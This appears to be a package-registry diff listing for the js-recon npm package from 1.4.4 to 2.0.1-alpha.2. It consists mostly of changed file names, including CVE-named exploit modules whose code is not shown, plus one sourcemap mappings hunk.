@js-recon/js-recon 1.4.4 → 2.0.1-alpha.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-sync/sync.sh +1 -1
- package/.github/dependabot.yml +50 -0
- package/.github/workflows/build-and-prettify.yaml +49 -19
- package/.github/workflows/codeql.yml +33 -0
- package/.github/workflows/exploit-smoke-test.yaml +160 -0
- package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
- package/.github/workflows/plumber.yml +20 -0
- package/.github/workflows/promote-js-recon.yml +5 -3
- package/.github/workflows/publish-js-recon.yml +31 -2
- package/.github/workflows/rules-smoke-test.yaml +13 -5
- package/.nvmrc +1 -0
- package/.plumber.yaml +151 -0
- package/CHANGELOG.md +55 -0
- package/CONTRIBUTING.md +32 -0
- package/Dockerfile +1 -0
- package/README.md +3 -2
- package/SECURITY.md +1 -1
- package/build/analyze/engine/astEngine.js +10 -9
- package/build/analyze/engine/astEngine.js.map +1 -1
- package/build/analyze/engine/csMastSEngine.js +6 -6
- package/build/analyze/engine/csMastSEngine.js.map +1 -1
- package/build/analyze/engine/index.js +1 -1
- package/build/analyze/engine/index.js.map +1 -1
- package/build/analyze/engine/requestEngine.js +6 -6
- package/build/analyze/engine/requestEngine.js.map +1 -1
- package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
- package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
- package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
- package/build/analyze/helpers/initRules.js +9 -9
- package/build/analyze/helpers/initRules.js.map +1 -1
- package/build/analyze/helpers/outputHelper.js +3 -3
- package/build/analyze/helpers/outputHelper.js.map +1 -1
- package/build/analyze/helpers/schemas.js +1 -0
- package/build/analyze/helpers/schemas.js.map +1 -1
- package/build/analyze/helpers/validate.js +9 -5
- package/build/analyze/helpers/validate.js.map +1 -1
- package/build/analyze/index.js +26 -16
- package/build/analyze/index.js.map +1 -1
- package/build/cliProgram.js +733 -0
- package/build/cliProgram.js.map +1 -0
- package/build/completion/index.js +247 -382
- package/build/completion/index.js.map +1 -1
- package/build/completion/introspect.js +17 -0
- package/build/completion/introspect.js.map +1 -0
- package/build/config/applicationConfig.js +3 -2
- package/build/config/applicationConfig.js.map +1 -1
- package/build/cs_mast/index.js +18 -17
- package/build/cs_mast/index.js.map +1 -1
- package/build/endpoints/gen_report/gen_json.js +2 -2
- package/build/endpoints/gen_report/gen_json.js.map +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
- package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
- package/build/endpoints/index.js +12 -12
- package/build/endpoints/index.js.map +1 -1
- package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
- package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
- package/build/endpoints/next_js/client_jsonParse.js +4 -4
- package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
- package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
- package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
- package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
- package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
- package/build/exploit/angular/cve-2026-68945.js +61 -0
- package/build/exploit/angular/cve-2026-68945.js.map +1 -0
- package/build/exploit/index.js +60 -0
- package/build/exploit/index.js.map +1 -0
- package/build/exploit/next/cve-2025-29927.js +65 -0
- package/build/exploit/next/cve-2025-29927.js.map +1 -0
- package/build/exploit/next/cve-2026-64645.js +51 -0
- package/build/exploit/next/cve-2026-64645.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71315.js +47 -0
- package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
- package/build/exploit/nuxt/cve-2026-71320.js +114 -0
- package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
- package/build/exploit/react/cve-2025-55182.js +116 -0
- package/build/exploit/react/cve-2025-55182.js.map +1 -0
- package/build/exploit/registry/cveRegistry.js +115 -0
- package/build/exploit/registry/cveRegistry.js.map +1 -0
- package/build/exploit/types.js +2 -0
- package/build/exploit/types.js.map +1 -0
- package/build/exploit/utility/compareResponses.js +29 -0
- package/build/exploit/utility/compareResponses.js.map +1 -0
- package/build/exploit/utility/outputHelper.js +22 -0
- package/build/exploit/utility/outputHelper.js.map +1 -0
- package/build/exploit/utility/rawRequest.js +56 -0
- package/build/exploit/utility/rawRequest.js.map +1 -0
- package/build/exploit/utility/sandboxRce.js +49 -0
- package/build/exploit/utility/sandboxRce.js.map +1 -0
- package/build/exploit/utility/toEngineOutput.js +28 -0
- package/build/exploit/utility/toEngineOutput.js.map +1 -0
- package/build/exploit/utility/wsClient.js +78 -0
- package/build/exploit/utility/wsClient.js.map +1 -0
- package/build/exploit/vite/cve-2025-30208.js +44 -0
- package/build/exploit/vite/cve-2025-30208.js.map +1 -0
- package/build/exploit/vite/cve-2026-39363.js +60 -0
- package/build/exploit/vite/cve-2026-39363.js.map +1 -0
- package/build/fingerprint/index.js +3 -2
- package/build/fingerprint/index.js.map +1 -1
- package/build/globalConfig.js +2 -2
- package/build/globalConfig.js.map +1 -1
- package/build/index.js +5 -596
- package/build/index.js.map +1 -1
- package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
- package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/downloadFilesUtil.js +14 -11
- package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
- package/build/lazyLoad/downloadQueue.js +9 -1
- package/build/lazyLoad/downloadQueue.js.map +1 -1
- package/build/lazyLoad/downloadResponse.js +1 -0
- package/build/lazyLoad/downloadResponse.js.map +1 -1
- package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
- package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
- package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
- package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
- package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
- package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
- package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_resolveScope.js +66 -0
- package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
- package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
- package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
- package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
- package/build/lazyLoad/globals.js +31 -0
- package/build/lazyLoad/globals.js.map +1 -1
- package/build/lazyLoad/index.js +172 -75
- package/build/lazyLoad/index.js.map +1 -1
- package/build/lazyLoad/methodFilter.js +9 -1
- package/build/lazyLoad/methodFilter.js.map +1 -1
- package/build/lazyLoad/next_js/NextJsCrawler.js +98 -14
- package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
- package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
- package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +17 -11
- package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_SubsequentRequests.js +7 -6
- package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
- package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
- package/build/lazyLoad/next_js/next_buildId.js +2 -2
- package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
- package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
- package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
- package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
- package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
- package/build/lazyLoad/next_js/next_routerStateForge.js +407 -0
- package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
- package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
- package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
- package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
- package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
- package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
- package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +29 -5
- package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/react/react_sourcemapUrls.js +7 -28
- package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
- package/build/lazyLoad/react/react_webpackChunkPaths.js +10 -202
- package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
- package/build/lazyLoad/researchUtils.js +15 -0
- package/build/lazyLoad/researchUtils.js.map +1 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
- package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
- package/build/lazyLoad/sourcemap.js +120 -0
- package/build/lazyLoad/sourcemap.js.map +1 -1
- package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
- package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
- package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
- package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
- package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
- package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +15 -6
- package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
- package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
- package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
- package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
- package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
- package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
- package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
- package/build/lazyLoad/techDetect/index.js +17 -1
- package/build/lazyLoad/techDetect/index.js.map +1 -1
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +2 -2
- package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
- package/build/lazyLoad/vue/vue_discoverJsFiles.js +13 -11
- package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js +1 -1
- package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js +1 -1
- package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +12 -3
- package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +2 -2
- package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js +3 -3
- package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
- package/build/load/index.js +28 -38
- package/build/load/index.js.map +1 -1
- package/build/map/angular_js/getAngularConnections.js +6 -6
- package/build/map/angular_js/getAngularConnections.js.map +1 -1
- package/build/map/graphql/resolveGraphql.js +6 -6
- package/build/map/graphql/resolveGraphql.js.map +1 -1
- package/build/map/index.js +17 -17
- package/build/map/index.js.map +1 -1
- package/build/map/interactive-mode/commandHandler.js +278 -0
- package/build/map/interactive-mode/commandHandler.js.map +1 -0
- package/build/map/interactive-mode/commandHelpers.js +189 -0
- package/build/map/interactive-mode/commandHelpers.js.map +1 -0
- package/build/map/interactive-mode/esqueryGen.js.map +1 -0
- package/build/map/interactive-mode/helpMenu.js +11 -0
- package/build/map/interactive-mode/helpMenu.js.map +1 -0
- package/build/map/interactive-mode/inputPatch.js.map +1 -0
- package/build/map/interactive-mode/interactive.js +71 -0
- package/build/map/interactive-mode/interactive.js.map +1 -0
- package/build/map/interactive-mode/keybindings.js.map +1 -0
- package/build/map/interactive-mode/printer.js.map +1 -0
- package/build/map/interactive-mode/ui.js.map +1 -0
- package/build/map/next_js/getAxiosInstances.js +5 -5
- package/build/map/next_js/getAxiosInstances.js.map +1 -1
- package/build/map/next_js/getExports.js +4 -4
- package/build/map/next_js/getExports.js.map +1 -1
- package/build/map/next_js/getFetchInstances.js +10 -10
- package/build/map/next_js/getFetchInstances.js.map +1 -1
- package/build/map/next_js/getTurbopackConnections.js +8 -8
- package/build/map/next_js/getTurbopackConnections.js.map +1 -1
- package/build/map/next_js/getWebpackConnections.js +27 -16
- package/build/map/next_js/getWebpackConnections.js.map +1 -1
- package/build/map/next_js/interactive.js +3 -65
- package/build/map/next_js/interactive.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
- package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
- package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
- package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/next_js/resolveAxios.js +6 -6
- package/build/map/next_js/resolveAxios.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
- package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
- package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
- package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
- package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
- package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
- package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
- package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
- package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
- package/build/map/next_js/resolveFetch.js +23 -23
- package/build/map/next_js/resolveFetch.js.map +1 -1
- package/build/map/next_js/resolveNewRequest.js +10 -10
- package/build/map/next_js/resolveNewRequest.js.map +1 -1
- package/build/map/next_js/resolveServerActions.js +4 -4
- package/build/map/next_js/resolveServerActions.js.map +1 -1
- package/build/map/next_js/utils.js +8 -2
- package/build/map/next_js/utils.js.map +1 -1
- package/build/map/react_js/getReactConnections.js +21 -14
- package/build/map/react_js/getReactConnections.js.map +1 -1
- package/build/map/svelte_js/interactive.js +3 -54
- package/build/map/svelte_js/interactive.js.map +1 -1
- package/build/map/vue_js/getViteConnections.js +23 -16
- package/build/map/vue_js/getViteConnections.js.map +1 -1
- package/build/map/vue_js/interactive.js +3 -63
- package/build/map/vue_js/interactive.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
- package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
- package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
- package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
- package/build/map/vue_js/taint_utils.js +1 -1
- package/build/map/vue_js/taint_utils.js.map +1 -1
- package/build/map/vue_js/vue_resolveFetch.js +12 -12
- package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
- package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
- package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
- package/build/map/vue_js/vue_resolveXhr.js +11 -11
- package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
- package/build/mcp/chatOneShot.js +7 -7
- package/build/mcp/chatOneShot.js.map +1 -1
- package/build/mcp/claudeCodeCreds.js +5 -5
- package/build/mcp/claudeCodeCreds.js.map +1 -1
- package/build/mcp/cli.js +36 -35
- package/build/mcp/cli.js.map +1 -1
- package/build/mcp/config.js +4 -4
- package/build/mcp/config.js.map +1 -1
- package/build/mcp/index.js +7 -7
- package/build/mcp/index.js.map +1 -1
- package/build/mcp/mcpServer.js +4 -3
- package/build/mcp/mcpServer.js.map +1 -1
- package/build/mcp/skills.js +1 -0
- package/build/mcp/skills.js.map +1 -1
- package/build/mcp/tools.js +6 -5
- package/build/mcp/tools.js.map +1 -1
- package/build/proxy/detectBlockedResponse.js +2 -0
- package/build/proxy/detectBlockedResponse.js.map +1 -1
- package/build/proxy/index.js +3 -3
- package/build/proxy/index.js.map +1 -1
- package/build/refactor/index.js +83 -79
- package/build/refactor/index.js.map +1 -1
- package/build/refactor/next/index.js +69 -26
- package/build/refactor/next/index.js.map +1 -1
- package/build/refactor/next/transform.js +11 -4
- package/build/refactor/next/transform.js.map +1 -1
- package/build/refactor/next/validator.js +7 -7
- package/build/refactor/next/validator.js.map +1 -1
- package/build/refactor/react/index.js +13 -13
- package/build/refactor/react/index.js.map +1 -1
- package/build/refactor/react/validator.js +7 -7
- package/build/refactor/react/validator.js.map +1 -1
- package/build/refactor/react-vite/index.js +3 -3
- package/build/refactor/react-vite/index.js.map +1 -1
- package/build/refactor/remote/hf-client.js +1 -0
- package/build/refactor/remote/hf-client.js.map +1 -1
- package/build/refactor/remote/version-detect.js +12 -12
- package/build/refactor/remote/version-detect.js.map +1 -1
- package/build/refactor/vue/index.js +6 -6
- package/build/refactor/vue/index.js.map +1 -1
- package/build/refactor/vue/vite.js +6 -6
- package/build/refactor/vue/vite.js.map +1 -1
- package/build/report/index.js +30 -8
- package/build/report/index.js.map +1 -1
- package/build/report/swaggerJacker.js +63 -0
- package/build/report/swaggerJacker.js.map +1 -0
- package/build/report/utility/dataTables/genDataTablesPage.js +2 -1
- package/build/report/utility/dataTables/genDataTablesPage.js.map +1 -1
- package/build/report/utility/genHtml.js +316 -25
- package/build/report/utility/genHtml.js.map +1 -1
- package/build/report/utility/markdownGen/addAnalyze.js +2 -1
- package/build/report/utility/markdownGen/addAnalyze.js.map +1 -1
- package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
- package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
- package/build/report/utility/populateDb/populateEndpoints.js +3 -3
- package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedJson.js +2 -2
- package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
- package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
- package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
- package/build/report/utility/severityColors.js +35 -0
- package/build/report/utility/severityColors.js.map +1 -0
- package/build/run/bundler-detect.js +45 -9
- package/build/run/bundler-detect.js.map +1 -1
- package/build/run/dashboard/dashboardHtml.js +150 -0
- package/build/run/dashboard/dashboardHtml.js.map +1 -0
- package/build/run/dashboard/fsBrowser.js +43 -0
- package/build/run/dashboard/fsBrowser.js.map +1 -0
- package/build/run/dashboard/server.js +123 -0
- package/build/run/dashboard/server.js.map +1 -0
- package/build/run/dashboard/state.js +97 -0
- package/build/run/dashboard/state.js.map +1 -0
- package/build/run/index.js +177 -110
- package/build/run/index.js.map +1 -1
- package/build/run/interruptHandler.js +18 -0
- package/build/run/interruptHandler.js.map +1 -1
- package/build/sourcemaps/index.js +7 -6
- package/build/sourcemaps/index.js.map +1 -1
- package/build/strings/index.js +27 -24
- package/build/strings/index.js.map +1 -1
- package/build/strings/openapi.js +4 -4
- package/build/strings/openapi.js.map +1 -1
- package/build/strings/permutate.js +4 -4
- package/build/strings/permutate.js.map +1 -1
- package/build/strings/secrets.js +1 -0
- package/build/strings/secrets.js.map +1 -1
- package/build/strings/trufflehog.js +66 -19
- package/build/strings/trufflehog.js.map +1 -1
- package/build/strings/trufflehogConfig.js +36 -0
- package/build/strings/trufflehogConfig.js.map +1 -0
- package/build/strings/trufflehogDownload.js +115 -0
- package/build/strings/trufflehogDownload.js.map +1 -0
- package/build/utility/ai.js +33 -4
- package/build/utility/ai.js.map +1 -1
- package/build/utility/banner.js +4 -3
- package/build/utility/banner.js.map +1 -1
- package/build/utility/cacheDb.js +78 -0
- package/build/utility/cacheDb.js.map +1 -0
- package/build/utility/configureSandbox.js +2 -2
- package/build/utility/configureSandbox.js.map +1 -1
- package/build/utility/customHeaders.js +30 -0
- package/build/utility/customHeaders.js.map +1 -0
- package/build/utility/globals.js +37 -12
- package/build/utility/globals.js.map +1 -1
- package/build/utility/heap.js +2 -1
- package/build/utility/heap.js.map +1 -1
- package/build/utility/makeReq.js +38 -87
- package/build/utility/makeReq.js.map +1 -1
- package/build/utility/openapiGenerator.js +2 -2
- package/build/utility/openapiGenerator.js.map +1 -1
- package/build/utility/printMsg.js +53 -0
- package/build/utility/printMsg.js.map +1 -0
- package/build/utility/progressLog.js +4 -3
- package/build/utility/progressLog.js.map +1 -1
- package/build/utility/resolvePath.js +2 -1
- package/build/utility/resolvePath.js.map +1 -1
- package/build/utility/ruleVersionMap.js +73 -0
- package/build/utility/ruleVersionMap.js.map +1 -0
- package/config.dist.yaml +3 -3
- package/contributing/testing.md +106 -0
- package/eslint.config.js +24 -0
- package/package.json +22 -6
- package/scripts/exploit-smoke-test.js +82 -0
- package/scripts/framework-detect-smoke-test.js +64 -0
- package/scripts/postinstall-completion.mjs +40 -0
- package/scripts/smoke-test.js +12 -0
- package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
- package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
- package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
- package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
- package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
- package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
- package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
- /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_SubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_SubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,WAAW,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,EAAE,eAAe,EAAE,MAAM,2BAA2B,CAAC;AAC5D,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,KAAK,OAAO,MAAM,SAAS,CAAC;AACnC,OAAO,EAAE,iBAAiB,EAAE,cAAc,EAAE,cAAc,EAAE,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AACxH,OAAO,EAAE,0BAA0B,EAAE,MAAM,kBAAkB,CAAC;AAE9D,IAAI,KAAK,GAAG,CAAC,CAAC;AACd,IAAI,SAAS,CAAC;AAEd;;;;GAIG;AACH,MAAM,eAAe,GAAG,CAAO,UAAU,EAAE,EAAE;IACzC,oBAAoB;IACpB,+EAA+E;IAC/E,0CAA0C;IAC1C,MAAM,OAAO,GAAG,CAAC,GAAG,UAAU,CAAC,QAAQ,CAAC,8CAA8C,CAAC,CAAC,CAAC;IACzF,iBAAiB;IAEjB,
|
|
1
|
+
{"version":3,"file":"next_SubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_SubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAC1D,OAAO,WAAW,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,EAAE,eAAe,EAAE,MAAM,2BAA2B,CAAC;AAC5D,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,KAAK,OAAO,MAAM,SAAS,CAAC;AACnC,OAAO,EAAE,iBAAiB,EAAE,cAAc,EAAE,cAAc,EAAE,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AACxH,OAAO,EAAE,0BAA0B,EAAE,MAAM,kBAAkB,CAAC;AAE9D,IAAI,KAAK,GAAG,CAAC,CAAC;AACd,IAAI,SAAS,CAAC;AAEd;;;;GAIG;AACH,MAAM,eAAe,GAAG,CAAO,UAAU,EAAE,EAAE;IACzC,oBAAoB;IACpB,+EAA+E;IAC/E,0CAA0C;IAC1C,MAAM,OAAO,GAAG,CAAC,GAAG,UAAU,CAAC,QAAQ,CAAC,8CAA8C,CAAC,CAAC,CAAC;IACzF,iBAAiB;IAEjB,MAAM,QAAQ,GAAG,EAAE,CAAC;IAEpB,KAAK,MAAM,KAAK,IAAI,OAAO,EAAE,CAAC;QAC1B,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC;IAC5B,CAAC;IAED,OAAO,QAAQ,CAAC;AACpB,CAAC,CAAA,CAAC;AAEF,MAAM,qBAAqB,GAAG,CAAC,SAAS,EAAE,EAAE;IACxC,MAAM,GAAG,GAAG,IAAI,GAAG,CAAC,SAAS,CAAC,CAAC;IAC/B,MAAM,SAAS,GAAG,GAAG,CAAC,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,sBAAsB;IACjF,SAAS,CAAC,GAAG,EAAE,CAAC,CAAC,eAAe;IAEhC,MAAM,OAAO,GAAG,GAAG,GAAG,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC,CAAC,cAAc;IACzD,OAAO,GAAG,GAAG,CAAC,MAAM,GAAG,OAAO,EAAE,CAAC,CAAC,kCAAkC;AACxE,CAAC,CAAC;AAEF,MAAM,kBAAkB,GAAG,+DAOA,EAAE,sGANzB,GAAG,EACH,QAAQ,EACR,OAAO,EACP,MAAM,EACN,OAAO,EACP,OAAO,GAAG,KAAK;IAEf,SAAS,GAAG,OAAO,CAAC;IACpB,IAAI,YAAY,GAAG,EAAE,CAAC;IAEtB,gDAAgD;IAChD,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,QAAQ,CAAC,EAAE,CAAC;QAC3B,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,iBAAiB,QAAQ,iBAAiB,CAAC,CAAC;QAC9D,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,kDAAkD,CAAC,CAAC;QACvE,QAAQ,CAAC,GAAG,CAAC,IAAI,EAAE,iDAAiD,CAAC,CAAC;QACtE,OAAO,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC;IACrB,CAAC;IACD,IAAI,SAAS,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC,CAAC,KAAK,CAAC;IAEpE,uBAAuB;IACvB,SAAS,CAAC,IAAI,CAAC,